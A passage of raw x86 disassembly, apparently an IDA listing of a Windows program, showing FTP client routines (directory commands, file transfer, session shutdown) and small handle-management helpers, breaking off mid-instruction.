add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E130: ; CODE XREF: ___:004016C2j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E151 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: ___:0042E14Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42E16C loc_42E15F: ; CODE XREF: ___:0042E16Aj mov al, [ecx] cmp al, 20h jz short loc_42E16C mov [esi], al inc esi inc ecx dec edx jnz short loc_42E15F loc_42E16C: ; CODE XREF: ___:0042E15Dj ; ___:0042E163j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E1A0: ; CODE XREF: ___:0040224Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E1C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E1C9: ; CODE XREF: ___:0042E1C0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E220: ; CODE XREF: ___:0040225Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E249 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E249: ; CODE XREF: ___:0042E240j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: ___:00401780j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42D1A0 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2D0: ; CODE XREF: ___:004021FDj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E2F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E2F9: ; CODE XREF: ___:0042E2F0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E350: ; CODE XREF: ___:0040166Dj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_4456BC call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E371 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E371: ; CODE XREF: ___:0042E36Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42E387 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E387: ; CODE XREF: ___:0042E382j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42E3A5 loc_42E393: ; CODE XREF: ___:0042E3A3j mov cl, [eax] test cl, cl jz short loc_42E3A5 cmp cl, 22h jz short loc_42E3A5 mov [esi], cl inc esi inc eax dec edx jnz short loc_42E393 loc_42E3A5: ; CODE XREF: ___:0042E391j ; ___:0042E397j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E3D0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E400 proc near ; CODE XREF: ___:0042E3E3p ; ___:0042E663p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42E48A mov esi, [esp+14h+arg_C] mov cx, word_4456FC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42E43A mov byte ptr [esp+14h+arg_10], 72h loc_42E43A: ; CODE XREF: sub_42E400+33j cmp edi, 49h jnz short loc_42E444 mov byte ptr [esp+14h+arg_10+1], 62h loc_42E444: ; CODE XREF: sub_42E400+3Dj lea edx, [esp+14h+arg_10] push edx push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42E4A4 push 100h call near ptr 77C1F2BCh nop mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx call near ptr 77C47A90h nop add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E48A: ; CODE XREF: sub_42E400+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42E49B mov ebx, dword_50FA84 jmp short loc_42E4A4 ; --------------------------------------------------------------------------- loc_42E49B: ; CODE XREF: sub_42E400+91j mov edx, dword_50FA84 lea ebx, [edx+20h] loc_42E4A4: ; CODE XREF: sub_42E400+57j ; sub_42E400+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F55 add esp, 14h test eax, eax jnz short loc_42E4C7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E4C7: ; CODE XREF: sub_42E400+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42E53D mov ebp, dword_50FAA4 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42E593 loc_42E4FA: ; CODE XREF: sub_42E400+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_4021F3 add esp, 0Ch cmp eax, esi jl short loc_42E523 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42E4FA jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E523: ; CODE XREF: sub_42E400+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" call near ptr 77C4186Ah nop add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E53D: ; CODE XREF: sub_42E400+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jle short loc_42E593 mov esi, dword_50FA94 loc_42E55A: ; CODE XREF: sub_42E400+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42E581 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jg short loc_42E55A jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E581: ; CODE XREF: sub_42E400+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42E593: ; CODE XREF: sub_42E400+F4j ; sub_42E400+121j ... push edi nop call near ptr 77C2C21Bh push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42E5B6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42E5B6: ; CODE XREF: sub_42E400+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E400 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E650: ; CODE XREF: ___:0040169Fj mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: ___:00401D2Fj sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42E6B7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6B7: ; CODE XREF: ___:0042E6AAj movsx eax, byte ptr [esp+124h] mov edi, dword_50FA60 push eax lea ecx, [esp+1Ch] push offset dword_445504 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E6F8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6F8: ; CODE XREF: ___:0042E6EBj push ebx lea eax, [esp+1Ch] push offset dword_445708 push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E754 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_445700 push esi nop call near ptr 77C41B72h add esp, 10h cmp eax, 2 jnz short loc_42E754 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: ___:0042E717j ; ___:0042E738j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E7B0: ; CODE XREF: ___:004013BBj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42E7E0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7E0: ; CODE XREF: ___:0042E7D5j push esi push edx lea eax, [esp+10h] push offset dword_445714 push eax call near ptr 77C3F931h nop mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E81B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E81B: ; CODE XREF: ___:0042E80Bj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E880 proc near ; CODE XREF: sub_4016A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42E400 add esp, 14h retn sub_42E880 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: ___:004016C7j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8E0: ; CODE XREF: ___:00401492j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov esi, dword_50FA60 push edx lea eax, [esp+10h] push offset dword_44572C push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E979 push ebx lea edx, [esp+10h] push offset dword_445720 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42D1A0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E979: ; CODE XREF: ___:0042E901j ; ___:0042E91Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E9C0: ; CODE XREF: ___:00401C67j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E9E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: ___:0042E9E0j push edx lea eax, [esp+4] push offset dword_445738 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA40 proc near ; CODE XREF: sub_401D52j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42EA79 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42D1A0 mov eax, [esi+8] add esp, 0Ch push eax call sub_436F06 ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_50FAC4 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42EA79: ; CODE XREF: sub_42EA40+Aj pop esi retn sub_42EA40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EA90: ; CODE XREF: ___:0040219Ej push edi mov edi, [esp+8] test edi, edi jnz short loc_42EAA0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42EAA0: ; CODE XREF: ___:0042EA97j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42EAB6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42EAB6: ; CODE XREF: ___:0042EAADj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB10: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EB29 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EB29: ; CODE XREF: ___:0042EB20j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42EB85 test eax, eax jz short loc_42EB85 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42EB85: ; CODE XREF: ___:0042EB74j ; ___:0042EB78j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EBB0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EBC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBC9: ; CODE XREF: ___:0042EBC0j mov eax, [esp+0Ch] test eax, eax jz short loc_42EBDD cmp eax, 1 jz short loc_42EBDD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBDD: ; CODE XREF: ___:0042EBCFj ; ___:0042EBD4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC00: ; CODE XREF: ___:0040150Fj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC20: ; CODE XREF: ___:00401825j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC40: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC59 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC59: ; CODE XREF: ___:0042EC50j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC80: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC99 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC99: ; CODE XREF: ___:0042EC90j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: ___:004019A1j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: ___:0040199Cj mov eax, [esp+8] sub eax, 0 jz short loc_42ED12 dec eax jz short loc_42ED02 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42ED02: ; CODE XREF: ___:0042ECFAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_42ED12: ; CODE XREF: ___:0042ECF7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ED30: ; CODE XREF: ___:00401C08j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_42EDCB mov edi, [esp+18h] test edi, edi jz loc_42EDCB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_42EDC2 mov eax, [esp+14h] test eax, eax jz short loc_42ED70 mov eax, [eax] test eax, eax jz short loc_42ED70 mov eax, [eax] jmp short loc_42ED72 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: ___:0042ED64j ; ___:0042ED6Aj xor eax, eax loc_42ED72: ; CODE XREF: ___:0042ED6Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDB8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDAF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: ___:0042EDA7j push edi call sub_401686 add esp, 4 loc_42EDB8: ; CODE XREF: ___:0042ED92j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42EDC2: ; CODE XREF: ___:0042ED5Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: ___:0042ED39j ; ___:0042ED45j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EE10: ; CODE XREF: ___:004021E9j push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42EE78 mov esi, [ebp+0] test esi, esi jz short loc_42EE78 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE6E lea eax, [esi+14h] push eax call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE5F push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE5F: ; CODE XREF: ___:0042EE4Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C76 add esp, 0Ch loc_42EE6E: ; CODE XREF: ___:0042EE3Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE78: ; CODE XREF: ___:0042EE1Aj ; ___:0042EE21j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: ___:00401799j mov eax, [esp+4] push esi test eax, eax jz loc_42EF64 mov esi, [eax] test esi, esi jz loc_42EF64 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 27706C3h test eax, eax jnz short loc_42EEF7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42EF44 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_40204A add esp, 8 mov esi, eax jmp short loc_42EF40 ; --------------------------------------------------------------------------- loc_42EEF7: ; CODE XREF: ___:0042EED8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42EF1B lea ecx, [esp+14h] push ecx push ebx call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_42EF1D loc_42EF1B: ; CODE XREF: ___:0042EF07j xor ebx, ebx loc_42EF1D: ; CODE XREF: ___:0042EF19j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42EF40 mov eax, [esp+10h] push 0 push eax call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 loc_42EF40: ; CODE XREF: ___:0042EEF5j ; ___:0042EF2Fj test esi, esi jnz short loc_42EF5E loc_42EF44: ; CODE XREF: ___:0042EEE2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_50E3FC ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42EF5E: ; CODE XREF: ___:0042EF42j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42EF64: ; CODE XREF: ___:0042EEB7j ; ___:0042EEC1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFA0: ; CODE XREF: ___:00401F50j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42EFC3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42EFC3: ; CODE XREF: ___:0042EFB2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFF0: ; CODE XREF: ___:00401A73j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42F011 mov eax, [ecx] test eax, eax jz short loc_42F011 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: ___:0042EFF9j ; ___:0042EFFFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F030: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_42F04D mov eax, [eax] test eax, eax jz short loc_42F04D mov ecx, [esp+8] test ecx, ecx jz short loc_42F04D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: ___:0042F036j ; ___:0042F03Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F070: ; CODE XREF: ___:0040162Cj mov eax, [esp+4] test eax, eax jz short loc_42F09A mov ecx, [eax] test ecx, ecx jz short loc_42F09A mov eax, [esp+8] cmp eax, 1 jz short loc_42F08E test eax, eax jnz short loc_42F09A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F08E: ; CODE XREF: ___:0042F085j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F09A: ; CODE XREF: ___:0042F076j ; ___:0042F07Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F0B0 proc near ; CODE XREF: sub_40140Bj push esi push edi call sub_4012E4 sub_42F0B0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 34134FE8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 341406E8h, 0A4E85302h dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F170: ; CODE XREF: ___:0040223Ej push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 34128FE8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 341346E8h, 0E4E85702h dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F230 proc near ; CODE XREF: sub_401CEEj push esi push edi call sub_4012E4 sub_42F230 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 0F1E89050h, 85023411h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F2B0: ; CODE XREF: ___:00401D25j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401758 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_42F3E9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42F2EB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F2EB: ; CODE XREF: ___:0042F2DCj push ebx push ebp push edi push eax push esi call sub_401A50 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402225 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42F3C2 mov eax, [esi+30h] test eax, eax jnz loc_42F3C2 cmp [esi+0Ch], ebp jge 